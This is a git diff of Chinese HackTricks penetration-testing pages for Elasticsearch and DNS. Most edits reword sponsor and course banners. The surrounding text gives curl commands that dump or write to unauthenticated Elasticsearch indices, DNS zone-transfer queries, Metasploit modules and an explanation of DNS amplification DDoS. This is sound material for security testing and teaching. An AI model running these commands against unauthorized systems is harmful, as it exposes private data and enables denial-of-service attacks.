||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -17,7 +17,9 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -34,21 +36,23 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,20 +1,28 @@
|
||||||
# 9200 - Pentesting Elasticsearch
|
# 9200 - Pentesting Elasticsearch
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
Elasticsearch 是一个 **分布式**、**开源** 的搜索和分析引擎,适用于 **所有类型的数据**。它以 **速度**、**可扩展性** 和 **简单的 REST API** 而闻名。基于 Apache Lucene,它于 2010 年首次由 Elasticsearch N.V.(现在称为 Elastic)发布。Elasticsearch 是 Elastic Stack 的核心组件,这是一个用于数据摄取、丰富、存储、分析和可视化的开源工具集合。这个堆栈通常被称为 ELK Stack,还包括 Logstash 和 Kibana,现在还有称为 Beats 的轻量级数据传输代理。
|
Elasticsearch 是一个 **分布式**、**开源** 的搜索和分析引擎,适用于 **所有类型的数据**。它以 **速度**、**可扩展性** 和 **简单的 REST API** 而闻名。基于 Apache Lucene,它于 2010 年首次由 Elasticsearch N.V.(现在称为 Elastic)发布。Elasticsearch 是 Elastic Stack 的核心组件,这是一个用于数据摄取、丰富、存储、分析和可视化的开源工具集合。这个堆栈通常被称为 ELK Stack,还包括 Logstash 和 Kibana,现在还有称为 Beats 的轻量级数据传输代理。
|
||||||
|
@ -41,7 +49,7 @@ Elasticsearch 使用一种称为 **倒排索引** 的高效数据结构来促进
|
||||||
|
|
||||||
### 认证
|
### 认证
|
||||||
|
|
||||||
**默认情况下,Elasticsearch 没有启用认证**,因此默认情况下,您可以在不使用任何凭据的情况下访问数据库中的所有内容。
|
**默认情况下,Elasticsearch 没有启用认证**,因此默认情况下您可以在不使用任何凭据的情况下访问数据库中的所有内容。
|
||||||
|
|
||||||
您可以通过请求来验证认证是否已禁用:
|
您可以通过请求来验证认证是否已禁用:
|
||||||
```bash
|
```bash
|
||||||
|
@ -119,7 +127,7 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0
|
||||||
|
|
||||||
### 转储索引
|
### 转储索引
|
||||||
|
|
||||||
如果您想**转储索引的所有内容**,可以访问:`http://host:9200/<index>/_search?pretty=true`,例如`http://10.10.10.115:9200/bank/_search?pretty=true`
|
如果您想要**转储索引的所有内容**,可以访问:`http://host:9200/<index>/_search?pretty=true`,例如`http://10.10.10.115:9200/bank/_search?pretty=true`
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (914).png>)
|
![](<../.gitbook/assets/image (914).png>)
|
||||||
|
|
||||||
|
@ -131,8 +139,8 @@ _注意:如果您指明更大的数字,所有条目仍然会被转储,例
|
||||||
|
|
||||||
### 转储所有
|
### 转储所有
|
||||||
|
|
||||||
为了转储所有内容,您只需访问**与之前相同的路径,但不指明任何索引**`http://host:9200/_search?pretty=true`,例如`http://10.10.10.115:9200/_search?pretty=true`\
|
为了转储所有内容,您可以直接访问**与之前相同的路径,但不指明任何索引**`http://host:9200/_search?pretty=true`,例如`http://10.10.10.115:9200/_search?pretty=true`\
|
||||||
请记住,在这种情况下将应用**默认的10**个结果限制。您可以使用`size`参数转储**更多结果**。有关更多信息,请阅读上一节。
|
请记住,在这种情况下将应用**默认的10个**结果限制。您可以使用`size`参数转储**更多结果**。有关更多信息,请阅读上一节。
|
||||||
|
|
||||||
### 搜索
|
### 搜索
|
||||||
|
|
||||||
|
@ -140,7 +148,7 @@ _注意:如果您指明更大的数字,所有条目仍然会被转储,例
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (335).png>)
|
![](<../.gitbook/assets/image (335).png>)
|
||||||
|
|
||||||
如果您只想**在一个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
如果您只想**在某个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||||
|
|
||||||
_注意,q参数用于搜索内容**支持正则表达式**_
|
_注意,q参数用于搜索内容**支持正则表达式**_
|
||||||
|
|
||||||
|
@ -148,7 +156,7 @@ _注意,q参数用于搜索内容**支持正则表达式**_
|
||||||
|
|
||||||
### 写权限
|
### 写权限
|
||||||
|
|
||||||
您可以通过尝试在新索引中创建新文档来检查您的写权限,运行类似以下内容的命令:
|
您可以通过尝试在新索引中创建新文档来检查您的写权限,运行类似以下内容:
|
||||||
```bash
|
```bash
|
||||||
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
|
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
|
||||||
{
|
{
|
||||||
|
@ -180,17 +188,25 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||||
|
|
||||||
* `port:9200 elasticsearch`
|
* `port:9200 elasticsearch`
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用程序、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,29 +1,31 @@
|
||||||
# 53 - Pentesting DNS
|
# 53 - Pentesting DNS
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **基本信息**
|
## **基本信息**
|
||||||
|
|
||||||
**域名系统 (DNS)** 作为互联网的目录,使用户能够通过 **易于记忆的域名** 访问网站,如 google.com 或 facebook.com,而不是数字互联网协议 (IP) 地址。通过将域名转换为 IP 地址,DNS 确保网页浏览器能够快速加载互联网资源,简化了我们在在线世界中的导航方式。
|
**域名系统 (DNS)** 作为互联网的目录,使用户能够通过 **易于记忆的域名** 访问网站,如 google.com 或 facebook.com,而不是数字互联网协议 (IP) 地址。通过将域名转换为 IP 地址,DNS 确保网页浏览器能够快速加载互联网资源,简化我们在在线世界中的导航。
|
||||||
|
|
||||||
**默认端口:** 53
|
**默认端口:** 53
|
||||||
```
|
```
|
||||||
|
@ -34,7 +36,7 @@ PORT STATE SERVICE REASON
|
||||||
```
|
```
|
||||||
### 不同的 DNS 服务器
|
### 不同的 DNS 服务器
|
||||||
|
|
||||||
* **DNS 根服务器**:这些服务器位于 DNS 层次结构的顶部,管理顶级域名,仅在下级服务器未响应时介入。互联网名称与数字分配公司(**ICANN**)负责其运营,全球共有 13 台。
|
* **DNS 根服务器**:这些服务器位于 DNS 层次结构的顶部,管理顶级域名,仅在下级服务器未响应时介入。互联网名称与数字分配公司(**ICANN**)负责其运营,全球共有 13 个。
|
||||||
* **权威名称服务器**:这些服务器对其指定区域的查询拥有最终决定权,提供明确的答案。如果它们无法提供响应,查询将升级到根服务器。
|
* **权威名称服务器**:这些服务器对其指定区域的查询拥有最终决定权,提供明确的答案。如果它们无法提供响应,查询将升级到根服务器。
|
||||||
* **非权威名称服务器**:这些服务器不拥有 DNS 区域,通过向其他服务器查询来收集域名信息。
|
* **非权威名称服务器**:这些服务器不拥有 DNS 区域,通过向其他服务器查询来收集域名信息。
|
||||||
* **缓存 DNS 服务器**:这种类型的服务器会在设定时间内记住先前查询的答案,以加快未来请求的响应时间,缓存持续时间由权威服务器决定。
|
* **缓存 DNS 服务器**:这种类型的服务器会在设定时间内记住先前查询的答案,以加快未来请求的响应时间,缓存持续时间由权威服务器决定。
|
||||||
|
@ -56,7 +58,7 @@ dig version.bind CHAOS TXT @DNS
|
||||||
```
|
```
|
||||||
--script dns-nsid
|
--script dns-nsid
|
||||||
```
|
```
|
||||||
### **Any record**
|
### **任何记录**
|
||||||
|
|
||||||
记录 **ANY** 将请求 DNS 服务器 **返回** 所有可用的 **条目**,这些条目是 **它愿意披露** 的。
|
记录 **ANY** 将请求 DNS 服务器 **返回** 所有可用的 **条目**,这些条目是 **它愿意披露** 的。
|
||||||
```bash
|
```bash
|
||||||
|
@ -64,7 +66,7 @@ dig any victim.com @<DNS_IP>
|
||||||
```
|
```
|
||||||
### **区域传输**
|
### **区域传输**
|
||||||
|
|
||||||
此过程缩写为 `Asynchronous Full Transfer Zone` (`AXFR`).
|
此过程缩写为 `Asynchronous Full Transfer Zone` (`AXFR`)。
|
||||||
```bash
|
```bash
|
||||||
dig axfr @<DNS_IP> #Try zone transfer without domain
|
dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||||
|
@ -96,7 +98,7 @@ nslookup
|
||||||
> 127.0.0.1 #Reverse lookup of 127.0.0.1, maybe...
|
> 127.0.0.1 #Reverse lookup of 127.0.0.1, maybe...
|
||||||
> <IP_MACHINE> #Reverse lookup of a machine, maybe...
|
> <IP_MACHINE> #Reverse lookup of a machine, maybe...
|
||||||
```
|
```
|
||||||
### 有用的metasploit模块
|
### 有用的 metasploit 模块
|
||||||
```bash
|
```bash
|
||||||
auxiliary/gather/enum_dns #Perform enumeration actions
|
auxiliary/gather/enum_dns #Perform enumeration actions
|
||||||
```
|
```
|
||||||
|
@ -153,10 +155,10 @@ dnsdict6 -s -t <domain>
|
||||||
```bash
|
```bash
|
||||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||||
```
|
```
|
||||||
### DNS Recursion DDoS
|
### DNS 递归 DDoS
|
||||||
|
|
||||||
如果**DNS递归已启用**,攻击者可以**伪造**UDP数据包中的**源**,以使**DNS将响应发送到受害者服务器**。攻击者可以滥用**ANY**或**DNSSEC**记录类型,因为它们通常具有更大的响应。\
|
如果 **DNS 递归已启用**,攻击者可以 **伪造** UDP 数据包中的 **源**,以使 **DNS 将响应发送到受害者服务器**。攻击者可以滥用 **ANY** 或 **DNSSEC** 记录类型,因为它们通常具有更大的响应。\
|
||||||
检查DNS是否支持**递归**的方法是查询一个域名并**检查**响应中是否有**标志"ra"**(_递归可用_):
|
检查 DNS 是否支持 **递归** 的方法是查询一个域名并 **检查** 响应中是否包含 **标志 "ra"** (_递归可用_):
|
||||||
```bash
|
```bash
|
||||||
dig google.com A @<IP>
|
dig google.com A @<IP>
|
||||||
```
|
```
|
||||||
|
@ -170,13 +172,15 @@ dig google.com A @<IP>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
### 邮件发送至不存在的账户
|
### 邮件发送到不存在的账户
|
||||||
|
|
||||||
通过检查因发送至目标域内无效地址而触发的未送达通知(NDN),通常会泄露有价值的内部网络细节。
|
通过检查因发送到目标域内无效地址而触发的未送达通知(NDN),通常会泄露有价值的内部网络细节。
|
||||||
|
|
||||||
提供的未送达报告包括以下信息:
|
提供的未送达报告包括以下信息:
|
||||||
|
|
||||||
|
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -298,8 +304,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,25 @@
|
||||||
# 79 - Pentesting Finger
|
# 79 - Pentesting Finger
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
